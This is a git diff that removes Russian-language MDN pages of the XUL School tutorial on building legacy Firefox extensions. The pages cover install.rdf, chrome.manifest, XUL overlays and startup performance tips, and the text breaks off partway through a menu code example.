  3. JavaScript Code Modules. Use them. JSM provide the cleanest way to separate JS into modules that can be loaded on request, unlike chrome scripts which are generally loaded with the overlay at startup. Keep as much of your code in JSM, make it as modular as you can, and only load modules as you require them. If your add-on is too simple for JSM, don’t worry about it. There’s still one more thing you can do.
  4. -
  5. Do as little as possible in your load handler. Ask yourself: is there anything I can’t run 100 ms or even 500 ms later? If there is, just use an nsITimer or the setTimeout function to delay running this code . The Firefox window will be able to load sooner and your startup code will run almost instantaneously afterward, in parallel with the loading of the homepage or the saved tab session. The browser will now load faster, and your code will still load at startup for all practical purposes. The code is simple enough:
  6. -
-
// this is the function that is called in the load event handler.
-init : function() {
-  let that = this;
-  // run this later and let the window load.
-  window.setTimeout(function() { that.postInit(); }, 500);
-},
-
-postInit: function() {
-  // actual init code goes here.
-},
-
-

How can you tell it works? The Measuring Startup wiki page includes a relatively simple test you can use to compare a clean Firefox profile vs that profile with your add-on installed.

-

Загрузка страницы

-

This is another critical route that many add-ons tap into. The Intercepting Page Loads section details several techniques to do this, and you should read all of them carefully to figure out which one you need. Some of these events are fired multiple times during a single page load, and having inefficient code in the event handlers can cause a noticeable delay that users may have hard time figuring out.

-

Look at the source samples in the article and notice how they mostly consist of nested if statements. This is what you should do first to make sure that you filter out all cases that don't interest you so that your add-on doesn't slow down other requests. A very common filter is the URL of the page, since most add-ons are limited to one or a few domains. Use regular expressions if you need to. Make sure your comparison code is as efficient as possible.

-

Finally, make sure all of your page load code is as efficient as possible. This can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. Nevertheless, loading pages is pretty important in Firefox, and users expect it to be fast. Try your best to keep it that way.

-

Другие рекомендации

- diff --git a/files/ru/xul_school/getting_started_with_firefox_extensions/index.html b/files/ru/xul_school/getting_started_with_firefox_extensions/index.html deleted file mode 100644 index 2d436a73b9..0000000000 --- a/files/ru/xul_school/getting_started_with_firefox_extensions/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Приступая к работе с расширениями Firefox. -slug: XUL_School/Getting_Started_with_Firefox_Extensions -translation_of: >- - Archive/Add-ons/Overlay_Extensions/XUL_School/Getting_Started_with_Firefox_Extensions ---- -

{{ PreviousNext("XUL_School/Introduction", "XUL_School/The_Essentials_of_an_Extension") }}

- -

Что такое расширение Firefox?

- -
-

Расширения — это небольшие дополнения (add-on), добавляющие новые функциональные возможности приложениям Mozilla, таким как Firefox и Thunderbird. С их помощью в приложение можно добавить что угодно, от кнопки на панели инструментов до совершенно новой возможности. Они позволяют настраивать приложения с учётом личных потребностей каждого пользователя, которому могут понадобиться дополнительные функциональные возможности, сохраняя при этом приложения небольшими для скачивания.

-
- -

Взято со страницы о расширениях.

- -

Как говорится в приведенной цитате, расширения - это маленькие приложения добавляющие что-нибудь новое к тому или иному приложению Mozilla. Этот учебник посвящён расширениям для Firefox, но те же самые (или схожие) принципы применимы для создания расширений для других приложений, таких как Thunderbird, Seamonkey и Flock.

- -

Стоит также отметить, что определения расширение (extension) и дополнение (add-on) различаются. Все расширения - это дополнения, но дополнения также могут быть темами, плагинами, или языковыми пакетами. Данный учебник - о разработке расширений, но темы и языковые пакеты разрабатываются очень похожим образом. Плагины (plugins) полностью отличаются, поэтому здесь мы их рассматривать не будем. Вы можете прочитать больше о плагинах и их разработке на странице о плагинах.

- -

Firefox предоставляет очень богатую и гибкую архитектуру, позволяющую разработчикам расширений добавлять дополнительные возможности, настраивать деятельность пользователей, а также полностью заменять и удалять части браузера. Склад дополнений (репозитарий) Mozilla - Mozilla Add-on repository (AMO) - содержит множество расширений с разнообразной функциональностью. Например: фильтрация контента (AdBlock Plus, NoScript), взаимодействие с web-приложениями (Delicious Bookmarks, eBay Companion), web-разработка (DOM Inspector, Firebug), защита детей (Glubble For Families). Существуют современные, достаточно функциональные и сложные расширения. Вы познакомитесь со многим, что может понадобится для разработки таких приложений. Фирма Glaxstar работал над тремя дополнениями из перечисленных выше.

- -

Расширения сейчас существуют в трёх формах:

- -
    -
  1. Дополнения расширений SDK (также известны как "Jetpacks" - "реактивные ранцы"). SDK - software development kit - (англ.) комплект средств разработки.
  2. -
  3. Расширения начальной загрузки.
  4. -
  5. Традиционные расширения.
  6. -
- -

Если вы новичок в разработке дополнений, то комплект разработки  SDK - предоставляет хороший способ быстро создать простые расширения.  Этот учебник посвящён традиционным расширениям, которые создаются по-другому. Загрузочные расширения по сложности на ступеньку выше обычных, поэтому стоит изучить этот материал, прежде чем пытаться их делать.

- -

Начнём обучение с анализа очень простого расширения.

- -

Расширение "Привет, мир!"

- -

Примеры расширений и этот учебник в целом предназначаются для современных версий Firefox, но большинство из всего этого работает и на устаревших версиях.

- -

Мы начнем с традиционного расширения "Привет, мир!" (Hello World). И начнём мы с его установки.  Щёлкните по ссылке ниже.

- -

Установить "Hello World"

- -

Это запустит либо установку, либо загрузку файлов - в зависимости от типа содержимого ("content type"), которое для этого файла использует веб-сервер. Тип содержимого, соответствующий запуску установки - "application/x-xpinstall". В данном случае тип содержимого установлен правильно и должно появлятся окно установки расширения.

- -

Если тип содержимого установлен правильно, то вы, вероятно, получите уведомление о том, что сайту не позволено устанавливать дополнения в ваш браузер Firefox. Это защитный барьер, предотвращающий установку сайтами расширений без согласия пользователя. Он необходим из-за того, что вредоносное расширение может причинить вред такого же уровня, как и любая другая вредоносная программа: совершить кражу данных, удаление или замену файлов и вообще, вызвать нежелательное поведение. Все дополнения , опубликованные в AMO, прошли через процесс предварительного рассмотрения, включающий проверку безопасности.

- -

После загрузки файла, вы можете перенести ("drag and drop") его в область содержимого Firefox - и должна начаться установка.

- -

Вы увидите окно с сообщением, что вы собираетесь установить расширение и с какой-нибудь дополнительной информацией, вроде имени автора. Вы увидите сообщение о том, что автор не может быть проверен. Проверить авторство возможно только у расширений, подписанных с помощью цифрового сертификата. Подписанные расширения редки, но позже мы рассмотрим, как их подписывать.

- -

Нажмите на кнопку "Установить сейчас" ("Install Now"). После установки расширения, вам будет предложено перезапустить Firefox. Установка, удаление, включение и выключение расширения требуют перезагрузки для завершения операции . Исключение составляют плагины NPAPI, дополнения SDK расширений и загрузочные расширения. Имейте это в виду, если вы создаете расширение, манипулирующее другими расширениями или темами.

- -

После установки, взгляните на главное окно Firefox и посмотрите не изменилось ли что-нибудь.

- -

Вы это видели? В главном меню появилось новое подменю с надписью "Hello World!" ("Привет, мир!"). Если вы откроете меню, а затем в меню пункт ниже, вы увидите замечательное сообщение.  Нажмите на кнопку ОК, чтобы его закрыть.

- -

- -

Это всё, что делает это расширение. Теперь давайте посмотрим на него внимательнее.

- -

Содержимое Расширения

- -

Возможно, вы заметили, что файл установки расширения называется xulschoolhello1.xpi. XPI (произносится как "зиппи". "zippy" - с англ: живой, быстрый, энергичный, яркий) выступает в качестве кроссплатформенного установщика, потому что один файл установки может быть обработан на всех платформах, поддерживаемых браузером Firefox. Файлы XPI - это просто данные, сжатые архиватором ZIP, однако Firefox распознает расширение XPI и запускает процесс установки при попытке загрузить такой файл.

- -

Чтобы заглянуть в файл XPI вам нужно сперва скачать его - не устанавливая. Если сервер запускает установку при нажатии на ссылку или кнопку - откажитесь, а затем нажмите правой кнопкой мыши на ссылке установки и выберите вариант "Сохранить ссылку как..." ("Save Link As...").

- -

Далее распакуем файл XPI.  Один из способов сделать это: переименовать расширение файла из "xpi" в "zip". (в Линуксе это не требуется, т.к. расширения нужны только в декоративных целях, а программы распознают тип файла сами) Другой способ - открыть файл с помощью архиватора, поддерживающего стандарт ZIP.  Выберите и распакуйте архив в удобное место. Вы увидите структуру каталогов вроде этой:

- - - -

Так много файлов для такой ерунды! Не волнуйтесь, мы скоро увидим назначение всех этих файлов и вы поймёте, что всё довольно просто. В следующем разделе мы изучим эти файлы и посмотрим, что же они делают.

- -

{{ PreviousNext("XUL_School/Introduction", "XUL_School/The_Essentials_of_an_Extension") }}

- -

This tutorial was kindly donated to Mozilla by Appcoast.

- -

{{ languages( { "fr": "fr/Vulgarisation_XUL/Premiers_pas_avec_les_extensions_Firefox" } ) }}

- -
 
diff --git a/files/ru/xul_school/index.html b/files/ru/xul_school/index.html deleted file mode 100644 index df9ea3174e..0000000000 --- a/files/ru/xul_school/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Школьный учебник по XUL -slug: XUL_School -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School ---- -

Школа XUL - это содержательное руководство по разработке дополнений, в котором акцент сделан на разработке расширений Firefox. Рекомендуется прочитать его полностью хотя бы один раз. Поскольку Firefox быстро развивается, содержание данного руководства должно обновляться и быть актуальным.

-
-
- Введение
-
- -
-
- Основной набор возможностей
-
- -
-
- Intermediate functionality
-
- -
-
- Advanced topics
-
- -
-
- Приложения
-
- -
-
-

The XUL School project was developed by Appcoast (formerly Glaxstar). The project is now published here following its sharing licenses. Its contents have been modified from the original source as necessary.

-
-

{{ languages( { "ja": "ja/XUL_School", "fr": "fr/Vulgarisation_XUL", "es": "es/Escuela_XUL" } ) }}

-
-

 

-
- Настройка среды разработки
-
- -
- Detect language » Russian
-
-  
-
diff --git a/files/ru/xul_school/introduction/index.html b/files/ru/xul_school/introduction/index.html deleted file mode 100644 index 0057c15f7d..0000000000 --- a/files/ru/xul_school/introduction/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Введение -slug: XUL_School/Introduction -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Introduction ---- -

{{ Next("XUL_School/Getting_Started_with_Firefox_Extensions") }}

-

Добро пожаловать в Школьный Учебник по XUL!

-

Этот учебник предназначен стать трамплином, который в мгновение ока вознесёт вас до уровня профессионального разработчика расширений Firefox. Мы вложили в него годы опыта работы с XUL, предоставив множество решений проблем, с которыми обычно сталкиваются разработчики расширений.

-

Школа XUL была создана Appcoast (прежде Glaxstar) - одной из немногих компаний, предназначенных для разработки высококачественных расширений к Firefox-у. В то время, когда был создан этот учебник, Glaxstar собрала команду из более, чем дюжины разработчиков XUL, и здесь отражён их общий многолетний опыт создания расширений для Firefox.

-

В этом учебнике вы узнаете как разрабатывать расширения к Firefox. Вы научитесь быстро выполнять наиболее распространённые задачи в разработке расширений, сравнивая несколько разных подходов к их решению. В большинстве случаев мы предоставим образцы кода, (которые вы сможете просто скопировать и приспособить под свои нужды), а также некоторые работающие примеры расширений. Учебник предназначен быть как можно более кратким, часто ссылаясь к документации Mozilla на более подробную информацию. Вы можете думать об этом как о кратком путеводителе по огромному миру платформы Mozilla. Большинство ссылок в этой документации даны для того, чтобы по ним щёлкнули и прочитали.

-

Мы начнём с краткого введения в некоторые ключевые понятия, на случай, если вы не знакомы с Mozilla и Firefox.

-

Mozilla и Firefox

-

Термин Mozilla используется для обозначения нескольких понятий: проект Mozilla, фонд Mozilla Foundation, корпорация Mozilla Corporation старый браузер Mozilla. Даже Firefox иногда упоминается как "Mozilla". Если вы не знакомы с этими терминами, хорошо, что вы уделили время чтобы узнать немного о Mozilla. Это поможет вам понять культуру вокруг сообщества.

-

Сообщество Mozilla породило несколько продуктов и проектов, самым известным из которых является веб-браузер Mozilla Firefox. Firefox - один из самых успешных проектов с открытым кодом в истории, сочетающий в себе открытость, соответствие стандартам и изощрённость открытого кода с сосредоточением на пользовательском опыте и мощной программе поддержки, чаще присущим менее открытым компаниям.

-

Версия Firefox номер 1.0 была выпущена в ноябре 2004 года, версия 2.0 - в октябре 2006 года, а версия 3.0 - в июне 2008 года. Этот учебник был написан после выпуска Firefox 3 и со временем был обновлён. В то время как большая его часть должна работать для создания расширений Firefox 3 (и даже Firefox 2), настоятельно рекомендуется, чтоб вы стремились поддерживать современные версии Firefox, чтобы поощрять пользователей придерживаться всех актуальных исправлений, касающихся безопасности. Выпуск, старее 6 месяцев, скорее всего, уязвим к опубликованным "ошибкам безопасности".

-

XUL

-

XUL - the XML User interface Language - язык разметки пользовательского интерфейса на основе XML (расширенного языка разметки).

-

XUL (произносится "зул") - это одна из многих технологий, используемых при создании продуктов и расширений на основе Mozilla. Это только одна часть панорамы разработки, но, учитывая, что это практически исключительно для Mozilla, это, как правило, используется для отождествления всех разработок, связанных с Мозиллой. Вы порой будете встречать такие термины, как "XUL-приложения" и "XUL-расширения", но редко они будут относиться к проектам, построенным исключительно с XUL. Обычно это означает проекты, построенные с использованием технологий Mozilla. Даже этот проект, названный Школой XUL, охватывает ряд других технологий, таких как JavaScript, CSS, XBL и XPCOM.

-

Gecko (Геккон)

-

Движок Gecko - это часть Firefox, используемая для отрисовки его пользовательского интерфейса и веб-страниц. Вы можете определить уровень совместимости веб-стандартов в браузерах на основе Gecko, глядя на их строку "Агент Пользователя" (User Agent, UA), которая должна включать версию Gecko. Версии Gecko несколько независимы от версий Firefox, и вы можете увидеть карту версий Firefox и версий Gecko на странице Gecko. Строка UA для Firefox на момент написания этой статьи (в американском английском, Mac OS X):

-

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:7.0.1) Gecko/20100101 Firefox/7.0.1

-

Выделенный фрагмент - это версия Gecko: 7.0.1. Вы можете прочесть и скопировать строку UA, любого окна Firefox, выбрав в главном меню: "Справка" > "Информация о поиске и устранении неисправностей.".

-

XULRunner (Пускатель XUL)

-

Firefox и другие приложения Mozilla, можно рассматривать как состоящие из двух разных частей: слой пользовательского интерфейса, отличающийся в каждом проекте, и общую платформу, поверх которой построен слой интерфейса. Эта платформа известна как "XULRunner". XULRunner включает в себя отрисовывающий движок Gecko, сетевую библиотеку Necko и несколько других компонентов, обеспечивающих независимый от операционной системы: файл управления, "доступность", "локализацию" - среди прочих. Именно эта очень мощная платформа позволила обеспечить такой быстрый рост сообщества разработки вокруг Mozilla и Firefox.

-

XULRunner доступен и в двоичной форме, на странице XULRunner, и он является основой для нескольких проектов, таких, как Songbird (Певчая птичка), Миро и Eudora. В Зале Славы XULRunner довольно обстоятельный список приложений, работающих на XULRunner-е.

-

К учебнику

-

С основными понятиями на нашем пути разобрались, теперь мы вправе разрабатывать расширения.

-

Вероятно, вам, всёж-таки интересно, что же именно такое эти расширения, что они могут делать, и как вы можете делать их. Собственно, весь этот учебник и посвящён объяснению этого.

-

Добро пожаловать в мир разработки расширений!

-

Пожалуй, начнём.

-

{{ Next("XUL_School/Getting_Started_with_Firefox_Extensions") }}

-

This tutorial was kindly donated to Mozilla by Appcoast.

-

{{ languages( { "fr": "fr/Vulgarisation_XUL/Introduction" } ) }}ведение

diff --git a/files/ru/xul_school/the_essentials_of_an_extension/index.html b/files/ru/xul_school/the_essentials_of_an_extension/index.html deleted file mode 100644 index e4dcdba9d5..0000000000 --- a/files/ru/xul_school/the_essentials_of_an_extension/index.html +++ /dev/null @@ -1,456 +0,0 @@ ---- -title: Устройство расширения -slug: XUL_School/The_Essentials_of_an_Extension -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/The_Essentials_of_an_Extension ---- -

 

- -
-

Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.

-
- -

 

- -

{{LegacyAddonsNotice}}{{AddonSidebar}}

- -

{{ PreviousNext("XUL_School/Getting_Started_with_Firefox_Extensions", "XUL_School/Setting_Up_a_Development_Environment") }}

- -

Файл install.rdf

- -

В предыдущем разделе мы начали рассматривать содержимое расширения "Hello World". Теперь мы рассмотрим его файлы и код, начиная с файла "install.rdf". Вы можете его открыть любым текстовым редактором.

- -

Файл подготовлен с применением специальной разновидности XML, под названием RDF. RDF использовался как основной механизм хранения для Firefox, но сейчас заменяется упрощённой системой баз данных. Далее в учебнике мы рассмотрим обе эти системы хранения данных.

- -

Теперь давайте взглянем на важные части этого файла.

- -
-
-
<em:id>helloworld@xulschool.com</em:id>
-
-
- -

Это уникальный идентификатор расширения. Firefox-у он нужен, чтобы отличать ваши расширения от других расширений, поэтому надо, чтобы у вас был уникальный ID.

- -

Есть два принятых стандарта для идентификаторов дополнений. Одним из них является формат адреса электронной почты, как в примере "Hello World", в котором должно быть что-то вроде <название-программы>@<ваш-домен>. Другой обычной практикой является использование порождённой строки UUID, повторение которой крайне маловероятно. В Unix-системах, в командной строке есть инструмент под названием uuidgen, порождающий новые UUID-строки. Для всех других платформ также есть такие загружаемые инструменты, порождающие UUID. Окружающие скобки - это просто обозначение и это обычная практика. Пока ваш идентификатор сколь-нибудь уникален, то можно выбрать любую форму.

- -
-
-
<em:name>XUL School Hello World</em:name>
-<em:description>Welcome to XUL School!</em:description>
-<em:version>0.1</em:version>
-<em:creator>Appcoast</em:creator>
-<em:homepageURL>https://developer.Mozilla.org/en/XUL_School</em:homepageURL>
-
-
- -

Это данные, отображаемые до и после установки расширения и которые можно увидеть в панели управления дополнениями. Помощники и переводчики могут добавить много других тегов. Все подробности смотрите в полной спецификации файла install.rdf.

- -

Так как расширения могут быть переведены на несколько языков, часто необходимо перевести описание расширения или, даже, его название. Локализованные описание и название могут быть вписаны с помощью следующего кода:

- -
-
-
<em:localized>
-  <Description>
-    <em:locale>ru-RU</em:locale>
-    <em:name>Школа XUL Привет мир</em:name>
-    <em:description>Добро пожаловать в школу XUL!</em:description>
-  </Description>
-</em:localized>
-
-
- -

Строчка локали ru-RU указывает, что это русская (ru) локализация для России (RU). Вы можете добавить столько разделов <em:localized>, сколько вам нужно. Для Firefox 2, локализация этого файла немного сложнее. Мы позже в этом разделе ещё обсудим локализацию.

- -
-
-
<em:type>2</em:type>
-
-
- -

Это указывает, что устанавливаемое добавление является расширением. Вы можете прочитать о различных возможных типах в соответствующем разделе спецификации файла install.rdf.

- -
-
-
<em:targetApplication>
-  <Description>
-    <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
-    <em:minVersion>4.0</em:minVersion>
-    <em:maxVersion>10.*</em:maxVersion>
-  </Description>
-</em:targetApplication>
-
-
-
- -

Этот узел определяет целевое приложение и его целевые версии. В частности здесь указан интернет-обозреватель Firefox, начиная с 4-й и до 10-ых версий. Указанный UUID является уникальным идентификатором Firefox. Другие Mozilla и основанные на Mozilla приложения, такие как Thunderbird и Seamonkey имеют свои собственные UUID. У вас может быть расширение, работающее в нескольких приложениях и версиях.  Например, если вы создаёте расширение к Firefox, то, как правило, достаточно минимума усилий, чтобы перенести его в SeaMonkey, имеющее сходные характеристики и пользовательский интерфейс.

- -

Минимум и максимум определяют диапазон версий, дозволительный для установки расширения. Вот ещё ссылка о формате указания версий. Если приложение или диапазон версий не совпадают, то пользователю не будет разрешено установить расширение или расширение будет установлено в отключённом состоянии. Пользователи могут отключить проверку версий в настройках интернет-обозревателя или путём установки дополнений через Докладчик о совместимости дополнений (Add-on Compatibility Reporter). Начиная с Firefox 11, дополнения по умолчанию будут совместимы, и Firefox в основном будет игнорировать диапазон версий. Всё-же рекомендуется всегда проверять дополнения с каждой новой версией Firefox.

- -

Это информация, нужная Firefox и другим приложениям Mozilla для установки дополнения. Любые ошибки или отсутствие информации приведут к сбою процесса установки или установке расширения в выключённом состоянии.

- -

Файл chrome.manifest

- -
-

Хром (Chrome) - это набор элементов пользовательского интерфейса окна приложения, находящихся за пределами области содержимого окна. Панели инструментов, строки меню, индикаторы прогресса выполнения и заголовки окон - всё это примеры элементов, обычно являющихся частью Хрома.

-
- -

Взято из Регистрации Хрома.

- -

В двух словах, хром - это всё, что вы видите в Firefox. Все окна Firefox можно рассматривать как состоящие из двух частей: (1) хром, (2) область возможного содержимого (то, что показывают веб-страницы во вкладках Firefox). Такие окна как "окно загрузок" - это чистый Хром.  Большая часть кода расширения находится в папке "хром", как и в примере "Hello World".

- -

Как мы видели в структуре каталогов распакованного расширения, Хром состоит из 3 разделов: content (содержание), locale (локаль, язык) и skin (тема). Эта троица необходима для большинства расширений. Если мы откроем файл chrome.manifest (опять же, сгодится любой текстовый редактор), то увидим, что указаны эти 3 секции:

- -
-
-
content   xulschoolhello              content/
-skin      xulschoolhello  classic/1.0 skin/
-locale    xulschoolhello  en-US       locale/en-US/
-
-
-
- -

Файл chrome.manifest говорит Firefox, где искать файлы Хрома. Текст расположен вразрядку, чтобы выглядел как таблица, но это не обязательно. Синтаксический анализатор (парсер, parser) игнорирует повторение пробелов.

- -

Первое слово в строке говорит Firefox, что именно объявляется (содержание, скин, локаль языка или другое, о чём будет рассказано позже).  Второе - это название пакета, о котором мы скоро расскажем.

- -

У скина и языков есть третье значение для указания, какой именно язык или какой именно скин они расширяют. Может быть несколько скинов и языков, касающихся различных других скинов и языков. Обычно указывают одну запись для глобального скина (classic/1.0) и несколько записей для языковых пакетов, по одному для каждого перевода. Наконец, последним указано расположение в файловой системе.

- -

В файл chrome.manifest могут быть внесены некоторые дополнительные параметры. Они описаны на странице Регистрации Chrome. Примечательно, мы может включить записи, особенные для операционных систем. Это важно, потому что внешний вид браузера отличается в разных операционных системах., Если наше расширение должно выглядеть по-разному в разных ОС, то мы можем изменить файл манифеста, например, таким образом:

- -
-
-
content   xulschoolhello              content/
-skin      xulschoolhello  classic/1.0 skin/unix/
-skin      xulschoolhello  classic/1.0 skin/mac/ os=Darwin
-skin      xulschoolhello  classic/1.0 skin/win/ os=WinNT
-locale    xulschoolhello  en-US       locale/en-US/
-
-
-
- -

Так, мы можем задать отдельные темы оформления для Windows, Mac OS X, и Linux (а также других Unix-систем), каждая из которых определена в отдельный каталог. Так как большинство других систем на основе Unix, то тема "Unix" указывается по умолчанию, без флагов.

- -

Хром

- -

Как сказано выше, Хром состоит из 3 разделов: содержание (контент), язык (локаль) и тема (скин). Содержание - это важнейший раздел, содержащий в себе пользовательский интерфейс (XUL) и скрипты (JS - JavaScript). Раздел Скин содержит файлы, определяющие большую часть внешнего вида пользовательского интерфейса (с помощью CSS и изображений, как у веб-страниц). Раздел Язык содержит все тексты, используемые в расширении, в DTD и в файлах свойств. Такое разделение позволяет другим разработчикам создавать темы, заменяющие скины, а переводчикам - создавать локализации на разных языках. И всё это - без необходимости изменения кода вашего расширения. Это даёт расширениям Firefox хорошую гибкость.

- -

Файлы Хрома доступны через chrome-протокол. Пример того, как выглядят URI Хрома:

- -
-
-
chrome://packagename/section/path/to/file
-
-
- -

Так, например, если бы надо было получить доступ к файлу browserOverlay.xul в расширении, Хром-URI был бы:

- -
-
-
chrome://xulschoolhello/content/browserOverlay.xul
-
-
- -

Если у вас слишком много файлов в Содержании, и вы хотите организовать их в подкаталогах, не нужно ничего менять в chrome.manifest, а нужно, лишь добавить в URI правильный путь после content.

- -

Адресация к файлам Скина и Языка работает точно также, и вам не нужно указывать названий Скина или Языка. Так что, для получения доступа к файлу DTD в расширении "Привет мир", chrome-путь выглядит так: chrome://xulschoolhello/locale/browserOverlay.dtd. Firefox сам знает какой язык нужно искать.

- -

Вот интересный эксперимент.  Откройте новую вкладку Firefox, вбейте в адресной строке: chrome://mozapps/content/downloads/downloads.xul и нажмите клавишу Enter. Удивлены? Вы только что открыли окно загрузок во вкладке Firefox! Вы можете получить доступ к любому файлу Хрома, просто введя его URI в адресной строке. Это может пригодиться, если вы захотите проверить файлы скриптов, являющихся частью Firefox, в своих или других расширениях. Большинство этих файлов открываются как текстовые, за исключением файлов XUL, которые выполняются и отображаются точно так как вы обычно видите их в окне.

- -

Content (Содержание)

- -

В каталоге "content" есть 2 файла. Давайте сначала посмотрим на файл XUL.

- -

XUL файлы - это XML-файлы, определяющие элементы пользовательского интерфейса в Firefox и его расширениях. Создание XUL был вдохновлено языком HTML, так что вы увидите много общего между ними. Однако, XUL по сравнению с HTML улучшен - в нём исправлены ошибки, допущенные в ходе эволюции HTML. XUL позволяет создавать интерфейсы намного богаче и интерактивнее, чем те, что можно создать с помощью HTML. Или, по крайней мере, XUL облегчает работу.

- -

Файлы XUL обычно определяют одно из двух: окна или наложения (оверлейные программы, накладки, слои). В файле downloads.xul, который вы до этого открывали, был код, определявший окно загрузок (Downloads). Файл XUL включён в расширение Hello World в качестве наложения. Наложение расширяет существующие окна, заменяя некоторые их элементы или добавляя новые. Строка, которую мы пропустили в файле chrome.manifest говорится, что этот файл XUL - наложение к главному окну интернет-обозревателя:

- -
-
-
overlay chrome://browser/content/browser.xul  chrome://xulschoolhello/content/browserOverlay.xul
-
-
- -

С помощью этой строки, Firefox, узнаёт, что ему надо взять содержание browserOverlay.xul и наложить его на главное окно браузера - browser.xul. Вы можете объявлять наложения для любого окна или диалогового окна в Firefox, но наложение на основное окно браузера - самый распространённый случай на сегодняшний день.

- -

Теперь давайте посмотрим на содержимое нашего файла XUL. Мы пропустим первые несколько строк, потому что они связаны с Темой и Языком, и мы их рассмотрим позже.

- -
-
-
<overlay id="xulschoolhello-browser-overlay"
-  xmlns="http://www.Mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-
- -

Ключевой элемент в файле - наложение (оверлей) - overlay. Другие документы XUL используют тег window (окно) или dialog (диалог). У этого элемента есть уникальный идентификатор (id), который вы должны иметь в большинстве элементов в вашем XUL. Второй атрибут - это пространство имён, которое является тем, что вы всегда должны определять в корневом элементе своего XUL. Он говорит, что этот узел и все дочерние узлы являются XUL. Когда вы в одном документе смешиваете разные типы содержания, такие как XUL с HTML или SVG, вам надо только изменить объявления пространства имён.

- -
-
-
Вы могли заметить, что мы используем именование в нескольких местах, таких как идентификатор xulschoolhello-browser-overlay. Это стандартные пространства имён, которые мы используем, чтобы избежать конфликтов с Firefox и другими расширениями, а также упростить некоторые задачи разработки. Мы задаём пространство имён для всех идентификаторов и классов стилей в элементах этого наложения, потому что они будут смешаны с другими элементами в главном окне интернет-обозревателя. Если бы мы использовали общие идентификаторы, как container ("контейнер") или input ("ввод"), то они, скорее всего, конфликтовали бы с идентификаторами использующимися в Firefox, или идентификаторами из других наложений расширений. Использование пространства имён позволяет минимизировать проблемы совместимости с другими расширениями. Мы используем ВерблюжийРегистр (CamelCase) для имён файлов, и пишем всё в нижнем регистре с тире для элементов идентификаторов и для имён класса стиля CSS, но вы можете использовать свою собственную систему.
-
-
- -
-
-
<script type="application/x-javascript"
-  src="chrome://xulschoolhello/content/browserOverlay.js" />
-
-
- -

Как и в HTML, он включает в себя файл сценария на языке JavaScript. Вы можете вставить столько элементов script (сценарий) в документ XUL, сколько вам нужно. Мы позже рассмотрим его код.

- -
-
-
Возможно вы заметили как сформатирован наш код, и удивились правилам, которым мы следуем. Наше главное правило - длина строки не более 80 символов. Это кажется чрезмерно строгим, особенно с XML-файлами, но это число было выбрано, чтобы позволить почти любому текстовому редактору легко обрабатывать эти файлы. Даже старые редакторы для командной строки работают с файлами, в которых строки сокращены до 80 символов. Табуляция проста: 2 пробельных отступа. Мы никогда не используем настоящие символы табуляции, за исключением файлов Makefile, которые будут рассмотрены позже. Большинство наших стандартов кодирования основаны на стандартах Mozilla или других известных и используемых стандартах.
-
-
- -

Мы пропустим код, который рассматривается в разделе Языка (локали), перейдя к наиболее важной части содержания:

- -
-
-
<menubar id="main-menubar">
-  <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;"
-    accesskey="&xulschoolhello.helloMenu.accesskey;" insertafter="helpMenu">
-    <menupopup>
-      <menuitem id="xulschoolhello-hello-menu-item"
-        label="&xulschoolhello.hello.label;"
-        accesskey="&xulschoolhello.helloItem.accesskey;"
-        oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
-    </menupopup>
-  </menu>
-</menubar>
-
-<vbox id="appmenuSecondaryPane">
-  <menu id="xulschoolhello-hello-menu-2" label="&xulschoolhello.hello.label;"
-    accesskey="&xulschoolhello.helloMenu.accesskey;"
-    insertafter="appmenu_addons">
-    <menupopup>
-      <menuitem id="xulschoolhello-hello-menu-item-2"
-        label="&xulschoolhello.hello.label;"
-        accesskey="&xulschoolhello.helloItem.accesskey;"
-        oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
-    </menupopup>
-  </menu>
-</vbox>
-
-
-
- -

Это код, добавляющий меню "Привет, Мир!" в окно интернет-обозревателя. Тут два почти одинаковых блока кода из-за того, как Firefox сейчас обрабатывает меню. Раньше было так, что на всех платформах была панель с обширным меню. Это изменилось в последней версии Firefox, в частности, в Windows, где видна одна кнопка Firefox, с единым и упрощённым меню опций. Нажатие на кнопку ALT в Windows переключает между кнопкой меню и классическим меню.  Второй блок кода применяется в случае, кнопки меню, а первый блок кода охватывает все остальные случаи. Так как кнопка меню теперь наиболее распространена, мы сосредоточимся на ней.

- -

Для того, чтобы написать этот код, нам нужны некоторые знания кода XUL в файле browser.xul. Нам нужно знать, что идентификатор (id) правой панели в едином меню - это appmenuSecondaryPane.  Мы добавляем собственное меню, и говорим Firefox, добавить его в ту панель, сразу после  пункта "Add-ons" ("Дополнения"). Пример:

- -
-
-
insertafter="appmenu_addons"
-
-
-
- -

appmenu_addons -  это идентификатор (id) элемента меню, который соответствует пункту "Дополнения" ("Add-ons") в главном меню. Позже мы увидим, как можно узнать такие штуки, типа идентификаторов элементов браузера, но сейчас давайте посмотрим на те элементы, которые составляют меню "Hello World".

- -

Для классического меню мы добавили меню "Привет мир" прямо в "корень" этого меню, так, чтоб вам было легче его заметить, но так поступать не рекомендуется. Представьте себе, что все расширения станут добавлять пункты меню в главное меню; тогда при установке нескольких расширений этот подход сделает его похожим на приборную панель самолёта, полную ручек и переключателей. В случае единого меню, всё немного сложнее в связи с отсутствием вариантов., Если пункт меню помещается в раздел "Web Developer" ("Веб-разработчик"), то рекомендуется добавить его туда. В противном случае, "Главное меню" может быть единственным выходом.

- -

Одно рекомендуемое место для пунктов меню в классической нише меню - под меню "Инструменты" ("Tools"), так что на самом деле код должен выглядеть так:

- -
-
-
<menupopup id="menu_ToolsPopup">
-  <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;"
-    accesskey="&xulschoolhello.helloMenu.accesskey;"
-    insertbefore="devToolsEndSeparator">
-    <menupopup>
-      <menuitem id="xulschoolhello-hello-menu-item"
